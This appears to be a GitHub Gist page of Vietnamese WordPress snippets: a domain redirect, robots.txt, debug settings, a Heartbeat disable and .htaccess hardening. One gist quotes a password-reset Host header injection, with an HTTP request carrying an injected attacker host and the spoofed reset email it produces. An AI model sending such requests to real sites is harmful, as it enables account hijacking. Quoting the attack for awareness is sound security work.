Skip to content

Instantly share code, notes, and snippets.

Trung Hieu Bui Kaiderella

View GitHub Profile
@Kaiderella
Kaiderella / .htaccess
Last active Oct 20, 2019
Tự động redirect tên miền cũ về tên miền mới
View .htaccess
#Options +FollowSymLinks
RewriteEngine on
RewriteRule ^(.*)$ https://tenmienmoi.com/$1 [R=301,L]
@Kaiderella
Kaiderella / robots.txt
Last active Sep 22, 2018
Tập tin robots.txt dành cho WordPress
View robots.txt
User-agent: *
Disallow: /wp-admin/
Disallow: /readme.html
Disallow: /license.txt
Disallow: /?s=*
Allow: /wp-admin/admin-ajax.php
Allow: /wp-admin/images/*
Sitemap: https://wpcanban.com/sitemap_index.xml
@Kaiderella
Kaiderella / wp-config.php
Last active May 10, 2018
Debug cho WordPress
View wp-config.php
// Enable WP_DEBUG mode
define('WP_DEBUG', true);
// Enable Debug logging to the /wp-content/debug.log file
define('WP_DEBUG_LOG', true);
// Disable display of errors and warnings
define('WP_DEBUG_DISPLAY', false);
@ini_set('display_errors',0);
@Kaiderella
Kaiderella / functions.php
Created May 22, 2017
Vô hiệu hóa Heartbeat
View functions.php
add_action( 'init', 'stop_heartbeat', 1 );
function stop_heartbeat() {
wp_deregister_script('heartbeat');
}
@Kaiderella
Kaiderella / .htaccess
Last active May 18, 2017
File .htaccess cho wp-content và uploads
View .htaccess
<Files *.php>
deny from all
</Files>
Options All -Indexes
@Kaiderella
Kaiderella / .htaccess
Last active May 18, 2017
File .htaccess cho wp-includes
View .htaccess
<Files *.php>
deny from all
</Files>
<Files wp-tinymce.php>
allow from all
</Files>
<Files ms-files.php>
allow from all
</Files>
Options All -Indexes
@Kaiderella
Kaiderella / resulting-email
Created May 11, 2017
0 day resulting email
View resulting-email
------[ resulting e-mail ]-----
Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
View http-request
-----[ HTTP Request ]----
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
------------------------
@Kaiderella
Kaiderella / font-awesome-i-class
Created Apr 14, 2017
Chèn Font Awesome với thẻ i
View font-awesome-i-class
<i class="fa fa-home" aria-hidden="true"></i>
@Kaiderella
Kaiderella / font-awesome-span-class
Created Apr 14, 2017
Chèn Font Awesome với thẻ span
View font-awesome-span-class
<span class="fa fa-home"></span>
You can’t perform that action at this time.